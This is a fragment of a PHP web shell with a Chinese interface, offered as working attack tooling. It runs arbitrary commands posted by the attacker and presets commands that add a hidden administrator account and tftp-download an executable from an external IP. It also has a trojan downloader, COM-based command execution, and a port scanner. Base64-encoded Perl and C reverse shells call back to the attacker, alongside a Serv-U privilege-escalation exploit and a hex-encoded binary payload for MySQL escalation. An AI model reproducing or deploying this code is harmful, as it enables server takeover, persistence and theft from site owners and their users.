'; } return true; } //系统信息 function Info\_Cfg($varname){switch($result = get\_cfg\_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} function Info\_Fun($funName){return (false !== function\_exists($funName)) ? "Yes" : "No";} function Info\_f() { $dis\_func = get\_cfg\_var("disable\_functions"); $upsize = get\_cfg\_var("file\_uploads") ? get\_cfg\_var("upload\_max\_filesize") : "不允许上传"; $adminmail = (isset($\_SERVER\['SERVER\_ADMIN'\])) ? "".$\_SERVER\['SERVER\_ADMIN'\]."" : "".get\_cfg\_var("sendmail\_from").""; if($dis\_func == ""){$dis\_func = "No";}else{$dis\_func = str\_replace(" ","
",$dis\_func);$dis\_func = str\_replace(",","
",$dis\_func);} $phpinfo = (!eregi("phpinfo",$dis\_func)) ? "Yes" : "No"; $info = array( array("服务器时间",date("Y年m月d日 h:i:s",time())), array("服务器域名","".$\_SERVER\['SERVER\_NAME'\].""), array("服务器IP地址",gethostbyname($\_SERVER\['SERVER\_NAME'\])), array("服务器操作系统",PHP\_OS), array("服务器操作系统文字编码",$\_SERVER\['HTTP\_ACCEPT\_LANGUAGE'\]), array("服务器解译引擎",$\_SERVER\['SERVER\_SOFTWARE'\]), array("你的IP",getenv('REMOTE\_ADDR')), array("Web服务端口",$\_SERVER\['SERVER\_PORT'\]), array("PHP运行方式",strtoupper(php\_sapi\_name())), array("PHP版本",PHP\_VERSION), array("运行于安全模式",Info\_Cfg("safemode")), array("服务器管理员",$adminmail), array("本文件路径",\_\_FILE\_\_), array("允许使用 URL 打开文件 allow\_url\_fopen",Info\_Cfg("allow\_url\_fopen")), array("允许动态加载链接库 enable\_dl",Info\_Cfg("enable\_dl")), array("显示错误信息 display\_errors",Info\_Cfg("display\_errors")), array("自动定义全局变量 register\_globals",Info\_Cfg("register\_globals")), array("magic\_quotes\_gpc",Info\_Cfg("magic\_quotes\_gpc")), array("程序最多允许使用内存量 memory\_limit",Info\_Cfg("memory\_limit")), array("POST最大字节数 post\_max\_size",Info\_Cfg("post\_max\_size")), array("允许最大上传文件 upload\_max\_filesize",$upsize), array("程序最长运行时间 max\_execution\_time",Info\_Cfg("max\_execution\_time")."秒"), array("被禁用的函数 disable\_functions",$dis\_func), array("phpinfo()",$phpinfo), array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 \* 1024)).'Mb'), array("图形处理 GD Library",Info\_Fun("imageline")), array("IMAP电子邮件系统",Info\_Fun("imap\_close")), array("MySQL数据库",Info\_Fun("mysql\_close")), array("SyBase数据库",Info\_Fun("sybase\_close")), array("Oracle数据库",Info\_Fun("ora\_close")), array("Oracle 8 数据库",Info\_Fun("OCILogOff")), array("PREL相容语法 PCRE",Info\_Fun("preg\_match")), array("PDF文档支持",Info\_Fun("pdf\_close")), array("Postgre SQL数据库",Info\_Fun("pg\_close")), array("SNMP网络管理协议",Info\_Fun("snmpget")), array("压缩文件支持(Zlib)",Info\_Fun("gzclose")), array("XML解析",Info\_Fun("xml\_set\_object")), array("FTP",Info\_Fun("ftp\_login")), array("ODBC数据库连接",Info\_Fun("odbc\_close")), array("Session支持",Info\_Fun("session\_start")), array("Socket支持",Info\_Fun("fsockopen")), ); echo '
上级目录 操作 属性 修改时间 大小
0 '.$Filename.' 删除 '; echo ' 改名 '.$Fileperm.' '.$Filetime.'
'.$fname.' 编辑 '; echo ' 改名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
'; for($i = 0;$i < count($info);$i++){echo ''."\\n";} echo '
'.$info\[$i\]\[0\].''.$info\[$i\]\[1\].'
'; return true; } //执行命令 function Exec\_Run($cmd) { $res = ''; if(function\_exists('exec')){@exec($cmd,$res);$res = join("\\n",$res);} elseif(function\_exists('shell\_exec')){$res = @shell\_exec($cmd);} elseif(function\_exists('system')){@ob\_start();@system($cmd);$res = @ob\_get\_contents();@ob\_end\_clean();} elseif(function\_exists('passthru')){@ob\_start();@passthru($cmd);$res = @ob\_get\_contents();@ob\_end\_clean();} elseif(@is\_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } function Exec\_g() { $res = '回显窗口'; $cmd = 'dir'; if(!empty($\_POST\['cmd'\])){$res = Exec\_Run($\_POST\['cmd'\]);$cmd = $\_POST\['cmd'\];} print<< function sFull(i){ Str = new Array(11); Str\[0\] = "dir"; Str\[1\] = "net user spider spider /add"; Str\[2\] = "net localgroup administrators spider /add"; Str\[3\] = "netstat -an"; Str\[4\] = "ipconfig"; Str\[5\] = "copy c:\\\\1.php d:\\\\2.php"; Str\[6\] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; document.getElementById('cmd').value = Str\[i\]; return true; }
命令参数
END; return true; } //组件接口 function Com\_h() { $object = isset($\_GET\['o'\]) ? $\_GET\['o'\] : 'adodb'; print<<\[ADODB.Connection\] \[WScript.shell\] \[Shell.Application\] \[Downloader\]
END; if($object == 'downloader') { $Com\_durl = isset($\_POST\['durl'\]) ? $\_POST\['durl'\] : 'http://www.baidu.com/down/muma.exe'; $Com\_dpath= isset($\_POST\['dpath'\]) ? $\_POST\['dpath'\] : File\_Str(dirname(\_\_FILE\_\_).'/muma.exe'); print<<超连接
下载到
END; if((!empty($\_POST\['durl'\])) && (!empty($\_POST\['dpath'\]))) { echo '
'; $contents = @file\_get\_contents($\_POST\['durl'\]); if(!$contents) echo '无法读取要下载的数据'; else echo File\_Write($\_POST\['dpath'\],$contents,'wb') ? '下载文件成功' : '下载文件失败'; echo '
'; } } elseif($object == 'wscript') { $cmd = isset($\_POST\['cmd'\]) ? $\_POST\['cmd'\] : 'dir'; print<<执行CMD命令
END; if(!empty($\_POST\['cmd'\])) { echo '
'; $shell = new COM('wscript'); $exe = @$shell->exec("cmd.exe /c ".$cmd); $out = $exe->StdOut(); $output = $out->ReadAll(); echo '
'.$output.'
'; @$shell->Release(); $shell = NULL; echo '
'; } } elseif($object == 'application') { $run = isset($\_POST\['run'\]) ? $\_POST\['run'\] : 'cmd.exe'; $cmd = isset($\_POST\['cmd'\]) ? $\_POST\['cmd'\] : 'copy c:\\windows\\php.ini c:\\php.ini'; print<<程序路径
命令参数
END; if(!empty($\_POST\['run'\])) { echo '
'; $shell = new COM('application'); echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '执行成功' : '执行失败'; @$shell->Release(); $shell = NULL; echo '
'; } } elseif($object == 'adodb') { $string = isset($\_POST\['string'\]) ? $\_POST\['string'\] : ''; $sql = isset($\_POST\['sql'\]) ? $\_POST\['sql'\] : ''; print<< function hFull(i){ if(i==0 || i==5) return false; Str = new Array(12); Str\[1\] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\\db.mdb"; Str\[2\] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=\*\*\*\*"; Str\[3\] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=\*\*\*\*"; Str\[4\] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;"; Str\[6\] = "SELECT \* FROM \[TableName\] WHERE ID<100"; Str\[7\] = "INSERT INTO \[TableName\](USER,PASS) VALUES('spider','mypass')"; Str\[8\] = "DELETE FROM \[TableName\] WHERE ID=100"; Str\[9\] = "UPDATE \[TableName\] SET USER='spider' WHERE ID=100"; Str\[10\] = "CREATE TABLE \[TableName\](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; Str\[11\] = "DROP TABLE \[TableName\]"; Str\[12\] = "ALTER TABLE \[TableName\] ADD COLUMN PASS VARCHAR(32)"; Str\[13\] = "ALTER TABLE \[TableName\] DROP COLUMN PASS"; if(i<=4){document.getElementById('string').value = Str\[i\];}else{document.getElementById('sql').value = Str\[i\];} return true; }
连接字符串
SQL命令
END; if(!empty($string)) { echo '
'; $shell = new COM('adodb'); @$shell->Open($string); $result = @$shell->Execute($sql); $count = $result->Fields->Count(); for($i = 0;$i < $count;$i++){$Field\[$i\] = $result->Fields($i);} echo $result ? $sql.' 执行成功
' : $sql.' 执行失败
'; if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field\[$i\]->value).'
';}@$result->MoveNext();}} $shell->Close(); @$shell->Release(); $shell = NULL; echo '
'; } } return true; } //扫描端口 function Port\_i() { $Port\_ip = isset($\_POST\['ip'\]) ? $\_POST\['ip'\] : '127.0.0.1'; $Port\_port = isset($\_POST\['port'\]) ? $\_POST\['port'\] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958'; print<<
扫描IP
端口号
END; if((!empty($\_POST\['ip'\])) && (!empty($\_POST\['port'\]))) { echo '
'; $ports = explode('|', $\_POST\['port'\]); for($i = 0;$i < count($ports);$i++) { $fp = @fsockopen($\_POST\['ip'\],$ports\[$i\],&$errno,&$errstr,2); echo $fp ? '开放端口 ---> '.$ports\[$i\].'
' : '关闭端口 ---> '.$ports\[$i\].'
'; ob\_flush(); flush(); } echo '
'; } return true; } //Linux提权 function Linux\_k() { $yourip = isset($\_POST\['yourip'\]) ? $\_POST\['yourip'\] : getenv('REMOTE\_ADDR'); $yourport = isset($\_POST\['yourport'\]) ? $\_POST\['yourport'\] : '12666'; print<<
你的地址
连接端口
执行方式
END; if((!empty($\_POST\['yourip'\])) && (!empty($\_POST\['yourport'\]))) { echo '
'; if($\_POST\['use'\] == 'perl') { $back\_connect\_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; echo File\_Write('/tmp/spider\_bc',base64\_decode($back\_connect\_pl),'wb') ? '创建/tmp/spider\_bc成功
' : '创建/tmp/spider\_bc失败
'; $perlpath = Exec\_Run('which perl'); $perlpath = $perlpath ? chop($perlpath) : 'perl'; echo Exec\_Run($perlpath.' /tmp/spider\_bc '.$\_POST\['yourip'\].' '.$\_POST\['yourport'\].' &') ? 'nc -l -n -v -p '.$\_POST\['yourport'\] : '执行命令失败'; } if($\_POST\['use'\] == 'c') { $back\_connect\_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; echo File\_Write('/tmp/spider\_bc.c',base64\_decode($back\_connect\_c),'wb') ? '创建/tmp/spider\_bc.c成功
' : '创建/tmp/spider\_bc.c失败
'; $res = Exec\_Run('gcc -o /tmp/angel\_bc /tmp/angel\_bc.c'); @unlink('/tmp/spider\_bc.c'); echo Exec\_Run('/tmp/spider\_bc '.$\_POST\['yourip'\].' '.$\_POST\['yourport'\].' &') ? 'nc -l -n -v -p '.$\_POST\['yourport'\] : '执行命令失败'; } echo '
你可以尝试连接端口 (nc -l -n -v -p '.$\_POST\['yourport'\].')
'; } return true; } //ServU提权 function Servu\_l() { $SUPass = isset($\_POST\['SUPass'\]) ? $\_POST\['SUPass'\] : '#l@$ak#.lk;0@P'; print<<\[执行命令\] \[添加用户\]
ServU端口
ServU用户
ServU密码
END; if($\_GET\['o'\] == 'adduser') { print<<帐号 密码 目录 END; } else { print<<提权命令
END; } echo '
'; if((!empty($\_POST\['SUPort'\])) && (!empty($\_POST\['SUUser'\])) && (!empty($\_POST\['SUPass'\]))) { echo '
'; $sendbuf = ""; $recvbuf = ""; $domain = "-SETDOMAIN\\r\\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\\r\\n"."-TZOEnable=0\\r\\n"." TZOKey=\\r\\n"; $adduser = "-SETUSERSETUP\\r\\n"."-IP=0.0.0.0\\r\\n"."-PortNo=21\\r\\n"."-User=".$\_POST\['user'\]."\\r\\n"."-Password=".$\_POST\['password'\]."\\r\\n"."-HomeDir=c:\\\\\\r\\n"."-LoginMesFile=\\r\\n"."-Disable=0\\r\\n"."-RelPaths=1\\r\\n"."-NeedSecure=0\\r\\n"."-HideHidden=0\\r\\n"."-AlwaysAllowLogin=0\\r\\n"."-ChangePassword=0\\r\\n". "-QuotaEnable=0\\r\\n"."-MaxUsersLoginPerIP=-1\\r\\n"."-SpeedLimitUp=0\\r\\n"."-SpeedLimitDown=0\\r\\n"."-MaxNrUsers=-1\\r\\n"."-IdleTimeOut=600\\r\\n"."-SessionTimeOut=-1\\r\\n"."-Expire=0\\r\\n"."-RatioUp=1\\r\\n"."-RatioDown=1\\r\\n"."-RatiosCredit=0\\r\\n"."-QuotaCurrent=0\\r\\n"."-QuotaMaximum=0\\r\\n". "-Maintenance=None\\r\\n"."-PasswordType=Regular\\r\\n"."-Ratios=None\\r\\n"." Access=".$\_POST\['part'\]."\\|RWAMELCDP\\r\\n"; $deldomain = "-DELETEDOMAIN\\r\\n"."-IP=0.0.0.0\\r\\n"." PortNo=21\\r\\n"; $sock = @fsockopen("127.0.0.1", $\_POST\["SUPort"\], &$errno, &$errstr, 10); $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = "USER ".$\_POST\["SUUser"\]."\\r\\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = "PASS ".$\_POST\["SUPass"\]."\\r\\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = "SITE MAINTENANCE\\r\\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = $domain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = $adduser; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; if(!empty($\_POST\['SUCommand'\])) { $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = "USER ".$\_POST\['user'\]."\\r\\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = "PASS ".$\_POST\['password'\]."\\r\\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = "site exec ".$\_POST\["SUCommand"\]."\\r\\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: site exec ".$\_POST\["SUCommand"\]."
"; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
"; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
"; @fclose($exp); } @fclose($sock); echo '
'; } } //MYSQL提权 function Mysql\_shellcode() { return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5